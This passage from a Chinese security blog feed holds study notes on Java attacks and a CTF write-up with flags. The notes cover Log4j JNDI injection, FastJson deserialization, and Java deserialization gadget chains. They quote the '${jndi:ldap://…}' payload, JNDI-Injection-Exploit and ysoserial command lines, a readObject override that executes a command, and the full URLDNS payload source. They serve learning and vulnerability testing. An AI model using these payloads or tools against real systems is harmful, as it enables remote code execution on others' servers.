的类有:</strong></p><ul><li>InitialDirContext.lookup()</li><li>Spring LdapTemplate.lookup()</li><li>LdapTemplate.lookupContext()</li></ul><h3 id="高版本绕过"><a class="markdownIt-Anchor" href="#高版本绕过">#</a> 高版本绕过</h3><p>[浅析高低版 JDK 下的 JNDI 注入及绕过 <a class="link" href="https://www.mi1k7ea.com/2020/09/07/%E6%B5%85%E6%9E%90%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87/"> Mi1k7ea ] <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><a class="link" href="https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html">如何绕过高版本 JDK 的限制进行 JNDI 注入利用 – KINGX <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;jndi注入&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#jndi注入&quot;&gt;#&lt;/a&gt; JNDI 注入&lt;/h2&gt;
&lt;p&gt;&lt;img lazyload src=&quot;/images/loading.svg&quot; data-src=&quot;https://</summary>
      
    
    
    
    <category term="Web JAVA" scheme="http://example.com/categories/Web-JAVA/"/>
    
    
  </entry>
  
  <entry>
    <title>JAVA-Log4j&amp;FastJson&amp;JNDI</title>
    <link href="http://example.com/2024/08/30/JAVA-Log4j-FastJson-JNDI/"/>
    <id>http://example.com/2024/08/30/JAVA-Log4j-FastJson-JNDI/</id>
    <published>2024-08-30T07:49:01.000Z</published>
    <updated>2024-11-04T11:05:53.475Z</updated>
    
    <content type="html"><![CDATA[<h2 id="组件sec"><a class="markdownIt-Anchor" href="#组件sec">#</a> 组件 Sec</h2><h3 id="log4j"><a class="markdownIt-Anchor" href="#log4j">#</a> Log4j</h3><p>Apache 的一个开源项目，通过使用 Log4j，我们可以<strong>控制日志信息输送的目的地</strong>是控制台、文件、GUI 组件，甚至是套接口服务器、NT 的事件记录器、UNIX Syslog 守护进程等；我们也可以<strong>控制每一条日志的输出格式</strong>；通过<strong>定义每一条日志信息的级别，<strong>我们能够更加细致地</strong>控制日志的生成过程</strong>。最令人感兴趣的就是，这些<strong>可以通过一个配置文件来灵活地进行配置，而不需要修改应用的代码。</strong></p><h4 id="组件安全复现"><a class="markdownIt-Anchor" href="#组件安全复现">#</a> 组件安全复现</h4><p>配置一下 Maven</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408301641067.png" alt="image-20240830164146022"></p><p>执行简单的命令</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408301733394.png" alt="image-20240830173344352"></p><p>如果 code 参数是可控的，那么就可以执行任意命令</p><p><strong>构造 HTTP Web 服务 使用带漏洞 Log4j 版本 实现功能</strong></p><p>潜在的安全风险：直接使用用户输入构造日志消息</p><ol><li>开发源码中引用漏洞组件如 log4j</li><li>开发中使用组件的代码（触发漏洞代码）</li><li>可控变量去传递 Payload 来实现攻击</li></ol><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408301849845.png" alt="image-20240830184937766"></p><h4 id="jndi"><a class="markdownIt-Anchor" href="#jndi">#</a> JNDI</h4><p><strong>JNDI (Java Naming and Directory Interface,Java 命名和目录接口)<strong> 本质上是一系列通用的，标准的用来操作命名服务和目录服务的接口： 换句话说，这一系列的接口就是对</strong>操作所有命名服务和目录服务的一种超级抽象，有了这些接口我们就可以用通用的接口操作各式各样的命名服务或者是目录服务，而不需要每次与一种服务交互就写一次操作该服务的代码</strong>。它允许 Java 应用程序通过名称引用资源，如数据库连接、远程对象等。</p><ul><li><p>反序列化常用的两种利用方式，一种是基于 RMI，一种是基于 ldap。</p></li><li><p><strong>RMI</strong> 是一种行为，指的是 Java 远程方法调用。通过 RMI，对象的方法可以在远程 JVM 上被调用。</p></li><li><p><strong>LDAP</strong> 指轻量级目录服务协议。LDAP 主要用于访问目录服务，这是一种树形结构的数据库，用于组织和存储信息</p></li></ul><h5 id="jndi注入"><a class="markdownIt-Anchor" href="#jndi注入">#</a> JNDI 注入</h5><p><strong>原理：利用 JNDI 的 apl 接口如 RMI 或 LDAP 远程调用自己所写的危险代码实现注入。</strong></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408301940626.png" alt="img"></p><p>Log4j 2.x 中的 JNDI 注入漏洞 LDAP，允许攻击者通过特制的日志消息进行远程代码执行。在这种情况下，<strong>攻击者可以利用恶意构造的 JNDI 上下文注入，执行恶意的 Java 代码。</strong></p><p><strong>上下文注入：</strong></p><ul><li>在某些情况下，应用程序会通过用户提供的数据构建 JNDI 上下文（InitialContext）。</li><li>如果应用程序在构建上下文时没有充分验证和过滤用户提供的数据，攻击者可能会尝试通过构造特殊的输入来注入恶意的 JNDI 对象。如： <code>$&#123;jndi:ldap://xxxx.dns.log&#125;</code></li></ul><p>通过<a class="link" href="https://github.com/welk1n/JNDI-Injection-Exploit?tab=readme-ov-file"> JNDI 注入脚本 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>在本地服务器上生成命令， <code>java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C &quot; [command] &quot; -A &quot;服务器ip&quot;</code></p><p>在被攻击服务器上调用 JNDI 执行恶意命令</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408302112594.png" alt="image-20240830211253535"></p><p><strong>通过 dnslog 探测</strong>： <code>$&#123;jndi:ldap://xxx.dnslog.cn&#125;</code></p><h3 id="fastjson"><a class="markdownIt-Anchor" href="#fastjson">#</a> FastJson</h3><p><a class="link" href="https://xz.aliyun.com/t/13409?time__1311=Gqmxu7i%3Dq7qxlxGgx%2BxCwo8EQitD8AQeLeD">https://xz.aliyun.com/t/13409?time__1311=Gqmxu7i%3Dq7qxlxGgx%2BxCwo8EQitD8AQeLeD <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><strong>FastJson：可以将 Java 对象转换为 JSON 格式，当然它也可以将 JSON 字符串转换为 Java 对象。</strong></p><p>在前后端数据传输交互中，经常会遇到字符串 (String) 与 json,XML 等格式相互转换与解析，其中 json 以跨语言，跨前后端的优点在开发中被频繁使用，基本上是标准的数据交换格式。它的接口简单易用，已经被广泛使用在缓存序列化，协议交互，Web 输出等各种应用场景中。FastJson 是阿里巴巴的的开源库，用于对 JSON 格式的数据进行解析和打包。</p><p><strong>对象 --&gt; JSON:</strong></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408302343878.png" alt="image-20240830234342828"></p><p><strong>JSON --&gt; 对象：</strong>   <code>parseObject</code> （反序列化）</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408302354997.png" alt="image-20240830235448955"></p><p>创建 Run 类</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408302357717.png" alt="image-20240830235710682"></p><p>当用户可以控制 JSON --&gt; 对象时的类名时，就有可能造成漏洞</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408310000587.png" alt="image-20240831000003535"></p><h4 id="经典的rce"><a class="markdownIt-Anchor" href="#经典的rce">#</a> 经典的 RCE</h4><p>实战中 <code>com.Fc0.Run</code>  并不一定，需要固定调用，通过 rmi 和 ldqp 出发远程 class 代码执行</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408310005537.png" alt="image-20240831000555463"></p><p><a class="link" href="https://blog.csdn.net/guo15890025019/article/details/120532891">Fastjson 漏洞复现_fastjson 1.2.84-CSDN 博客 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;组件sec&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#组件sec&quot;&gt;#&lt;/a&gt; 组件 Sec&lt;/h2&gt;
&lt;h3 id=&quot;log4j&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#log4j&quot;&gt;#&lt;/a&gt; </summary>
      
    
    
    
    <category term="Web JAVA" scheme="http://example.com/categories/Web-JAVA/"/>
    
    
  </entry>
  
  <entry>
    <title>羊城杯WP</title>
    <link href="http://example.com/2024/08/30/%E7%BE%8A%E5%9F%8E%E6%9D%AFWP/"/>
    <id>http://example.com/2024/08/30/%E7%BE%8A%E5%9F%8E%E6%9D%AFWP/</id>
    <published>2024-08-29T16:30:25.000Z</published>
    <updated>2024-08-29T17:16:59.640Z</updated>
    
    <content type="html"><![CDATA[<h2 id="羊城杯"><a href="#羊城杯" class="headerlink" title="羊城杯"></a>羊城杯</h2><p>真卷啊，我的羊城梦破碎了</p><p>那就去鹅城当师爷🤓☝️️</p><h3 id="不一样的数据库-2"><a href="#不一样的数据库-2" class="headerlink" title="不一样的数据库_2"></a>不一样的数据库_2</h3><p>压缩包密码爆破一下753951</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408300031122.png" alt="img"></p><p>二维码修复一下：NRF@WQUKTQ12345&amp;WWWF@WWWFX#WWQXNWXNU</p><p>下载keepass，打不开？？？</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408300031036.png" alt="img"></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408300031146.png" alt="img"></p><p>rot13：AES@JDHXGD12345&amp;JJJS@JJJSK#JJDKAJKAH</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408300031388.png" alt="img"></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408300031052.png" alt="img"></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408300031043.png" alt="img"></p><p>history中最开始的一个advanced中有aes密文</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">U2FsdGVkX193h7iNsZs3RsLxH+V1zztkdS+fBy2ZQfzH77Uo4l3hSWplMV+GcLpAGflXlQuPTU5qIkOY7xJN9A==</span><br></pre></td></tr></table></figure></div><p><code>DASCTF&#123;snsnndjahenanheanjjskk12235&#125;</code></p><h3 id="So-much"><a href="#So-much" class="headerlink" title="So much"></a>So much</h3><p>文件名解密<a class="link" href="https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)&input=YzJocFpuUWg&ieol=CRLF%EF%BC%9Ashift">https://gchq.github.io/CyberChef/#recipe=From_Base64(&#39;A-Za-z0-9%2B/%3D&#39;,true,false)&amp;input=YzJocFpuUWg&amp;ieol=CRLF：shift <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>!</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408300032541.png" alt="img"></p><p>key：1234567</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408300032386.png" alt="img"></p><p>不对，结合文件名解码之后的shift，猜测：!@#$%^&amp;</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408300032504.png" alt="img"></p><p>所有文件的修改时间只有19和20，19代表0，20代表1，再ascii转字符串</p><p><code>DASCTF&#123;85235bd803c2a0662b771396bce9968f&#125;</code></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;羊城杯&quot;&gt;&lt;a href=&quot;#羊城杯&quot; class=&quot;headerlink&quot; title=&quot;羊城杯&quot;&gt;&lt;/a&gt;羊城杯&lt;/h2&gt;&lt;p&gt;真卷啊，我的羊城梦破碎了&lt;/p&gt;
&lt;p&gt;那就去鹅城当师爷🤓☝️️&lt;/p&gt;
&lt;h3 id=&quot;不一样的数据库-2&quot;&gt;&lt;a href=&quot;</summary>
      
    
    
    
    <category term="WriteUp" scheme="http://example.com/categories/WriteUp/"/>
    
    
  </entry>
  
  <entry>
    <title>JAVA-反序列化</title>
    <link href="http://example.com/2024/08/29/JAVA-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
    <id>http://example.com/2024/08/29/JAVA-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/</id>
    <published>2024-08-29T14:35:41.000Z</published>
    <updated>2024-09-14T05:53:35.405Z</updated>
    
    <content type="html"><![CDATA[<h2 id="反序列化"><a class="markdownIt-Anchor" href="#反序列化">#</a> 反序列化</h2><p><strong>序列化</strong>：将内存中的对象压缩成字节流<br><strong>反序列化</strong>：将字节流转化成内存中的对象</p><p>Java 提供了一种对象序列化的机制。用一个字节序列可以表示一个对象，该字节序列包含<strong>该对象的数据、对象的类型和对象中存储的属性</strong>等信息。字节序列写出到文件之后，相当于文件中持久保存了一个对象的信息。</p><p>反之，<strong>该字节序列还可以从文件中读取回来，重构对象，对它进行反序列化。<strong>对象的数据，对象的类型，对象中存储的数据等信息，都</strong>可以用来在内存中创建对象。</strong></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408292253579.png" alt="image-20240829225353493"></p><p>序列化与反序列化的设计就是用来传输数据的。<br>当两个进程进行通信的时候，可以通过序列化反序列化来进行传输。能够实现数据的持久化，通过序列化可以把数据永久的保存在硬盘上，也可以理解为通过序列化将数据保存在文件中。<br>应用场景：</p><ol><li>想把内存中的对象保存到一个文件中或者是数据库当中。</li><li>用套接字在网络上传输对象。</li><li>通过 RMI 传输对象的时候。</li></ol><p><strong>几种创建的序列化和反序列化协议</strong></p><blockquote><p>・JAVA 内置的 writeObject ()/readObject ()<br>・JAVA 内置的 XMLDecoder ()/XMLEncoder<br>• XStream<br>• SnakeYaml<br>• FastJson<br>• Jackson</p></blockquote><h3 id="java内置的writeobjectreadobject"><a class="markdownIt-Anchor" href="#java内置的writeobjectreadobject">#</a> JAVA 内置的 writeObject ()/readObject ()</h3><p><strong>序列化</strong>：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408300112558.png" alt="image-20240830011200489"></p><p><strong>反序列化</strong></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408300112488.png" alt="image-20240830011241430"></p><h4 id="重写readobject造成漏洞"><a class="markdownIt-Anchor" href="#重写readobject造成漏洞">#</a> 重写 readObject 造成漏洞</h4><p>在<strong>原始对象中重写</strong> <code>private readObject</code>  方法，在执行反序列化时候，<strong>会被默认优先调用</strong></p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//序列化目标Userdemo</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">readObject</span><span class="params">(ObjectInputStream ois)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException &#123;</span><br><span class="line">        ois.defaultReadObject(); <span class="comment">//恢复对象的默认状态</span></span><br><span class="line">        Runtime.getRuntime().exec(<span class="string">&quot;calc&quot;</span>); <span class="comment">//执行外部命令</span></span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure></div><p>序列化后执行反序列化就会执行命令调出计算器</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408301218496.png" alt="image-20240830121827396"></p><h4 id="tostring造成漏洞"><a class="markdownIt-Anchor" href="#tostring造成漏洞">#</a> toString 造成漏洞</h4><p><strong>如果对 obj 对象进行输出</strong> <strong>默认调用原始对象的 toString 方法 而造成执行外部命令</strong></p><p>反序列化：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408301419529.png" alt="image-20240830141958469"></p><h4 id="可控其他类重写方法"><a class="markdownIt-Anchor" href="#可控其他类重写方法">#</a> 可控其他类重写方法</h4><p><a class="link" href="https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java">ysoserial/src/main/java/ysoserial/payloads/URLDNS.java at master · frohoff/ysoserial (github.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><ul><li>正常代码中 创建对象 HashMap</li><li>用到<strong>原生态 readObject</strong> 方法去反序列化数据<ul><li>readObject  本来在 ObjectInputSteam</li><li>HashMap 也有 readObject 方法</li></ul></li></ul><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408301454376.png" alt="image-20240830145405326"></p><p><strong>反序列化时调用 HashMap 里面的 readObject</strong></p><p><strong>Gadget Chain:</strong></p><ul><li><code>HashMap.readObject()</code></li><li><code>HashMap.putVal()</code></li><li><code>HashMap.hash()</code></li><li><code>URL.hashCode()</code></li></ul><p>hashCode 执行结果 触发访问 DNS 请求 如果这里是执行命令的话 就是 RCE 漏洞</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408301500386.png" alt="image-20240830150010296"></p><ol><li><strong>潜在的反序列化漏洞：</strong> 通过<strong> SerializableTest 方法将 HashMap</strong> 对象序列化并输出到文件 “dns.txt”，然后通过 UnserializableTest 方法尝试反序列化。这里存在潜在的反序列化漏洞，因为如果恶意用户能够控制序列化的输入，可能导致远程命令执行（RCE）漏洞。</li><li><strong>Gadget Chain 分析：</strong> 通过 HashMap 的 readObject 方法，调用了 HashMap.putVal () 方法，最终调用了 URL.hashCode ()。如果 hashCode () 方法的实现涉及到远程资源的访问（例如 DNS 查询），那么在反序列化时就可能触发远程请求。</li><li><strong>潜在的安全问题：</strong> 如果 URL.hashCode () 实现中有不受信任的代码，例如执行系统命令或访问远程资源，那么通过构造特定的 URL 对象，攻击者就能够触发恶意操作。</li></ol><h3 id="p牛的java安全漫谈"><a class="markdownIt-Anchor" href="#p牛的java安全漫谈">#</a> p 牛的 java 安全漫谈</h3><p>先从 URLDNS 开始看起，因为它⾜够简单。</p><h4 id="ysoserial"><a class="markdownIt-Anchor" href="#ysoserial">#</a> <strong>ysoserial</strong></h4><p>什么是利用连？</p><p>利⽤链也叫 “gadget chains”，我们通常称为 gadget。如果你学过 PHP 反序列化漏洞，那么就可以将 gadget 理解为⼀种⽅法，它连接的是从触发位置开始到执⾏命令的位置结束，在 PHP ⾥可能是 __desctruct 到 eval</p><p>ysoserial 的使⽤也很简单，虽然我们暂时先不理解 CommonsCollections ，但是⽤ ysoserial 可以很容</p><p>易地⽣成这个 gadget 对应的 POC：</p><p><code>java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 &quot;id&quot; </code></p><p>如上，ysoserial ⼤部分的 gadget 的参数就是⼀条命令，⽐如这⾥是 id 。⽣成好的 POC 发送给⽬标，如果⽬标存在反序列化漏洞，并满⾜这个 gadget 对应的条件，则命令 id 将被执⾏。</p><h4 id="urldns"><a class="markdownIt-Anchor" href="#urldns">#</a> <strong>URLDNS</strong></h4><p>上面再开发的角度有过利用</p><p>URLDNS 就是 ysoserial 中⼀个利⽤链的名字，但准确来说，这个其实不能称作 “利⽤链”。因为其参数不是⼀个可以 “利⽤” 的命令，⽽仅为⼀个 URL，其能触发的结果也不是命令执⾏，⽽是⼀次 DNS 请求。</p><p>虽然这个 “利⽤链” 实际上是不能 “利⽤” 的，但因为其如下的优点，⾮常适合我们在检测反序列化漏洞时使⽤：</p><ul><li>使⽤ Java 内置的类构造，对第三⽅库没有依赖</li><li>在⽬标没有回显的时候，能够通过 DNS 请求得知是否存在反序列化漏洞</li></ul><p>接着 p 牛的思路，分析一下 ysoserial 是如何⽣成 URLDNS 的代码的：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> ysoserial.payloads;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.net.InetAddress;</span><br><span class="line"><span class="keyword">import</span> java.net.URLConnection;</span><br><span class="line"><span class="keyword">import</span> java.net.URLStreamHandler;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.net.URL;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> ysoserial.payloads.annotation.Authors;</span><br><span class="line"><span class="keyword">import</span> ysoserial.payloads.annotation.Dependencies;</span><br><span class="line"><span class="keyword">import</span> ysoserial.payloads.annotation.PayloadTest;</span><br><span class="line"><span class="keyword">import</span> ysoserial.payloads.util.PayloadRunner;</span><br><span class="line"><span class="keyword">import</span> ysoserial.payloads.util.Reflections;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * A blog post with more details about this gadget chain is at the url below:</span></span><br><span class="line"><span class="comment"> *   https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> *   This was inspired by  Philippe Arteau <span class="doctag">@h</span>3xstream, who wrote a blog</span></span><br><span class="line"><span class="comment"> *   posting describing how he modified the Java Commons Collections gadget</span></span><br><span class="line"><span class="comment"> *   in ysoserial to open a URL. This takes the same idea, but eliminates</span></span><br><span class="line"><span class="comment"> *   the dependency on Commons Collections and does a DNS lookup with just</span></span><br><span class="line"><span class="comment"> *   standard JDK classes.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> *   The Java URL class has an interesting property on its equals and</span></span><br><span class="line"><span class="comment"> *   hashCode methods. The URL class will, as a side effect, do a DNS lookup</span></span><br><span class="line"><span class="comment"> *   during a comparison (either equals or hashCode).</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> *   As part of deserialization, HashMap calls hashCode on each key that it</span></span><br><span class="line"><span class="comment"> *   deserializes, so using a Java URL object as a serialized key allows</span></span><br><span class="line"><span class="comment"> *   it to trigger a DNS lookup.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> *   Gadget Chain:</span></span><br><span class="line"><span class="comment"> *     HashMap.readObject()</span></span><br><span class="line"><span class="comment"> *       HashMap.putVal()</span></span><br><span class="line"><span class="comment"> *         HashMap.hash()</span></span><br><span class="line"><span class="comment"> *           URL.hashCode()</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@SuppressWarnings(&#123; &quot;rawtypes&quot;, &quot;unchecked&quot; &#125;)</span></span><br><span class="line"><span class="meta">@PayloadTest(skip = &quot;true&quot;)</span></span><br><span class="line"><span class="meta">@Dependencies()</span></span><br><span class="line"><span class="meta">@Authors(&#123; Authors.GEBL &#125;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">URLDNS</span> <span class="keyword">implements</span> <span class="title class_">ObjectPayload</span>&lt;Object&gt; &#123;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">public</span> Object <span class="title function_">getObject</span><span class="params">(<span class="keyword">final</span> String url)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line"></span><br><span class="line">                <span class="comment">//Avoid DNS resolution during payload creation</span></span><br><span class="line">                <span class="comment">//Since the field &lt;code&gt;java.net.URL.handler&lt;/code&gt; is transient, it will not be part of the serialized payload.</span></span><br><span class="line">                <span class="type">URLStreamHandler</span> <span class="variable">handler</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SilentURLStreamHandler</span>();</span><br><span class="line"></span><br><span class="line">                <span class="type">HashMap</span> <span class="variable">ht</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HashMap</span>(); <span class="comment">// HashMap that will contain the URL</span></span><br><span class="line">                <span class="type">URL</span> <span class="variable">u</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">URL</span>(<span class="literal">null</span>, url, handler); <span class="comment">// URL to use as the Key</span></span><br><span class="line">                ht.put(u, url); <span class="comment">//The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.</span></span><br><span class="line"></span><br><span class="line">                Reflections.setFieldValue(u, <span class="string">&quot;hashCode&quot;</span>, -<span class="number">1</span>); <span class="comment">// During the put above, the URL&#x27;s hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.</span></span><br><span class="line"></span><br><span class="line">                <span class="keyword">return</span> ht;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(<span class="keyword">final</span> String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">                PayloadRunner.run(URLDNS.class, args);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">/**</span></span><br><span class="line"><span class="comment">         * &lt;p&gt;This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.</span></span><br><span class="line"><span class="comment">         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior</span></span><br><span class="line"><span class="comment">         * using the serialized object.&lt;/p&gt;</span></span><br><span class="line"><span class="comment">         *</span></span><br><span class="line"><span class="comment">         * &lt;b&gt;Potential false negative:&lt;/b&gt;</span></span><br><span class="line"><span class="comment">         * &lt;p&gt;If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the</span></span><br><span class="line"><span class="comment">         * second resolution.&lt;/p&gt;</span></span><br><span class="line"><span class="comment">         */</span></span><br><span class="line">        <span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">SilentURLStreamHandler</span> <span class="keyword">extends</span> <span class="title class_">URLStreamHandler</span> &#123;</span><br><span class="line"></span><br><span class="line">                <span class="keyword">protected</span> URLConnection <span class="title function_">openConnection</span><span class="params">(URL u)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">                        <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">                &#125;</span><br><span class="line"></span><br><span class="line">                <span class="keyword">protected</span> <span class="keyword">synchronized</span> InetAddress <span class="title function_">getHostAddress</span><span class="params">(URL u)</span> &#123;</span><br><span class="line">                        <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">                &#125;</span><br><span class="line">        &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>整个 URLDNS 的 Gadget 其实清晰⼜简单：</p><ol><li>HashMap-&gt;readObject()</li><li>HashMap-&gt;hash()</li><li>URL-&gt;hashCode()</li><li>URLStreamHandler-&gt;hashCode()</li><li>URLStreamHandler-&gt;getHostAddress()</li><li>InetAddress-&gt;getByName()</li></ol><p>从反序列化最开始的 readObject ，到最后触发 DNS 请求的 getByName ，只经过了 6 个函数调⽤，这在 Java 中其实已经算很少了。</p><p>要构造这个 Gadget，只需要初始化⼀个 java.net.URL 对象，作为 key 放在 java.util.HashMap 中；然后，设置这个 URL 对象的 hashCode 为初始值 -1 ，这样反序列化时将会重新计算其 hashCode ，才能触发到后⾯的 DNS 请求，否则不会调⽤ 